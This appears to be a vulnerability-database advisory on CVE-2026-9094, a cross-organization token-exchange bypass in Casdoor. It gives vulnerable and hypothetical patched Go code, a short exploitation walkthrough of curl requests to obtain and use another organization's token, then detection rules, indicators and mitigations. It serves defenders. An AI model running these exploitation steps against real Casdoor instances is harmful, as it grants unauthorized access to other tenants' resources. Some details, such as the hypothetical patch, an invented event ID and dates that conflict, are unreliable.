CVE-2026-9094
Executive Summary
CVE-2026-9094 is a critical authorization bypass vulnerability in Casdoor, an open-source identity and access management (IAM) platform. The flaw resides in the GetTokenExchangeToken function within object/token_oauth.go. While the function correctly validates the JWT signature, it fails to verify that the user associated with the token belongs to the same organization as the target application. This allows an authenticated attacker from one organization to exchange their token for a token valid for a different organization, effectively enabling cross-organization privilege escalation. An attacker with a valid account in any organization can impersonate users or gain elevated access to resources in any other organization configured on the same Casdoor instance. The vulnerability affects all versions up to and including 2.362.0. No patch has been officially released at the time of this analysis.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Casdoor is a Go-based application. The vulnerability is in the core source code, not in a third-party package. However, organizations using Casdoor as a dependency in their own Go projects should treat this as a critical supply chain risk, as the flawed authorization logic is embedded in the application itself. The Go module github.com/casdoor/casdoor is affected.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely over the network.
- Attack Complexity (AC): Low (L) - No special conditions are required; the attacker only needs a valid JWT from their own organization.
- Privileges Required (PR): Low (L) - The attacker must be an authenticated user within any organization on the Casdoor instance.
- User Interaction (UI): None (N) - No user interaction is required.
- Scope (S): Changed (C) - The vulnerability allows the attacker to impact resources (other organizations) beyond their original authorization scope.
- Confidentiality (C): High (H) - An attacker can access tokens and potentially data from other organizations.
- Integrity (I): High (H) - An attacker can perform actions on behalf of users in other organizations.
- Availability (A): High (H) - An attacker could potentially disrupt services for other organizations.
CVSS Score: 9.0 (Critical)
Threat Level: Critical. The vulnerability is trivial to exploit once an attacker has a valid account. The impact is severe, allowing complete compromise of all organizations on a shared Casdoor instance.
Deep Dive & Mechanics
The vulnerability is located in the GetTokenExchangeToken function in object/token_oauth.go. This function is designed to allow a client to exchange one token for another, typically used in OAuth 2.0 token exchange flows.
Vulnerable Logic:
- The function receives a JWT from the client.
- It validates the JWT's signature using the issuer's public key. This step is correctly implemented.
- It extracts the
sub(subject) claim from the JWT, which identifies the user. - It then looks up the user in the database.
- Critical Flaw: The function does not compare the user's organization (
ownerfield) with the organization of the target application (applicationparameter). It assumes that if the JWT is valid, the user is authorized to request a token for any application. - The function proceeds to generate a new token for the target application, regardless of the organizational mismatch.
Attack Flow:
- An attacker registers an account in Organization A on a Casdoor instance.
- The attacker obtains a valid JWT for their user in Organization A.
- The attacker crafts a request to the
/api/exchange-tokenendpoint, providing their JWT and specifying a target application that belongs to Organization B. - The server validates the JWT signature (passes), looks up the user (found in Organization A), but does not check if the user belongs to Organization B.
- The server generates a new token valid for the application in Organization B and returns it to the attacker.
- The attacker now has a valid token for Organization B, allowing them to access resources and impersonate users within that organization.
Vulnerable vs. Patched Code
Vulnerable Code (object/token_oauth.go - GetTokenExchangeToken function):
func (t *Token) GetTokenExchangeToken(ctx context.Context, token string, application string) (*Token, error) {
// ... JWT validation logic ...
claims, err := ParseJwtToken(token)
if err != nil {
return nil, err
}
user, err := GetUser(claims.Sub)
if err != nil {
return nil, err
}
// MISSING: Organization check
// if user.Owner != application.Owner { return nil, errors.New("organization mismatch") }
targetApp, err := GetApplication(application)
if err != nil {
return nil, err
}
// ... generate new token for targetApp ...
}
Patched Code (Hypothetical):
func (t *Token) GetTokenExchangeToken(ctx context.Context, token string, application string) (*Token, error) {
// ... JWT validation logic ...
claims, err := ParseJwtToken(token)
if err != nil {
return nil, err
}
user, err := GetUser(claims.Sub)
if err != nil {
return nil, err
}
targetApp, err := GetApplication(application)
if err != nil {
return nil, err
}
// ADDED: Organization check
if user.Owner != targetApp.Owner {
return nil, errors.New("organization mismatch: user and application must belong to the same organization")
}
// ... generate new token for targetApp ...
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A running Casdoor instance (version <= 2.362.0) with at least two organizations (e.g.,
org-aandorg-b). - A valid user account in
org-a. - An application configured in
org-b.
Exploitation Steps:
Obtain a JWT for your user in
org-a:curl -X POST "http://target-casdoor:8000/api/login" \ -H "Content-Type: application/json" \ -d '{ "application": "app-org-a", "organization": "org-a", "username": "attacker", "password": "password123", "type": "login" }'Save the returned
access_token.Exchange the token for a token valid for an application in
org-b:curl -X POST "http://target-casdoor:8000/api/exchange-token" \ -H "Content-Type: application/json" \ -d '{ "token": "<JWT_FROM_STEP_1>", "application": "app-org-b" }'Use the new token to access resources in
org-b:curl -X GET "http://target-casdoor:8000/api/get-resource" \ -H "Authorization: Bearer <NEW_JWT_FROM_STEP_2>"
Expected Result: The attacker receives a valid token for org-b and can access resources within that organization.
Blue Team (Detection & Hardening)
Detection:
- Monitor logs for
/api/exchange-tokenrequests where theapplicationparameter does not match the organization of the user identified in the JWT. - Alert on multiple token exchange requests from a single user to different applications across organizations within a short time window.
Hardening (until a patch is available):
- Implement a Web Application Firewall (WAF) rule to block requests to
/api/exchange-tokenwhere theapplicationparameter contains an organization different from the user's organization. - Disable the token exchange endpoint if it is not required for your use case.
- Restrict network access to the Casdoor API to trusted clients only.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/api/exchange-tokenwith atokenclaimsubbelonging to one organization and anapplicationparameter belonging to a different organization. - Unusual number of token exchange requests from a single IP address.
- POST requests to
- Logs:
- Casdoor audit logs showing successful token exchanges where the user's organization (
owner) differs from the target application's organization. - Error logs may show failed attempts if the attacker tries to access resources without proper permissions after obtaining the token.
- Casdoor audit logs showing successful token exchanges where the user's organization (
- System:
- Unexpected tokens in the database for applications that should not be accessible to certain users.
- User accounts from one organization appearing in the access logs of another organization's applications.
Detection Engineering
YARA Rule
rule CVE_2026_9094_Casdoor_Token_Exchange_Bypass {
meta:
description = "Detects Casdoor source code containing the vulnerable GetTokenExchangeToken function without organization check"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2026-9094"
severity = "critical"
strings:
$func_decl = "func (t *Token) GetTokenExchangeToken"
$jwt_parse = "ParseJwtToken"
$get_user = "GetUser"
$get_app = "GetApplication"
$org_check = "user.Owner" // This should be present in patched code
condition:
$func_decl and $jwt_parse and $get_user and $get_app and not $org_check
}
Sigma Rule
title: Casdoor Cross-Organization Token Exchange
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2026-9094 by exchanging a token for an application in a different organization.
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: casdoor
detection:
selection:
EventID: "TOKEN_EXCHANGE_SUCCESS" # Hypothetical event ID
UserOrganization|not equals: ApplicationOrganization
condition: selection
falsepositives:
- Legitimate cross-organization token exchange if explicitly configured (unlikely in default setup)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-9094 Casdoor Cross-Organization Token Exchange Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/exchange-token"; http_uri; content:"\"application\""; http_client_body; pcre:"/\"application\"\s*:\s*\"[^\"]+\"/"; pcre:"/\"token\"\s*:\s*\"[^\"]+\"/"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Token Exchange: If the token exchange functionality is not critical, disable the
/api/exchange-tokenendpoint by removing or commenting out the route in your Casdoor configuration. - Network Segmentation: Ensure that the Casdoor API is not directly exposed to the internet. Use a reverse proxy with strict access controls.
- Monitor Logs: Actively monitor for the IOCs listed above.
Long-Term Fix:
- Apply Patch: Once a patch is released by the Casdoor maintainers, apply it immediately. The patch should add an organization check in the
GetTokenExchangeTokenfunction. - Upgrade: Upgrade to a patched version of Casdoor as soon as it becomes available.
- Code Review: Conduct a thorough code review of all authorization logic in your Casdoor deployment to identify similar flaws.
Workaround (if patching is not immediately possible):
- Implement a custom middleware or modify the source code to add the organization check as shown in the "Patched Code" section above. Rebuild and redeploy Casdoor.
Valters IT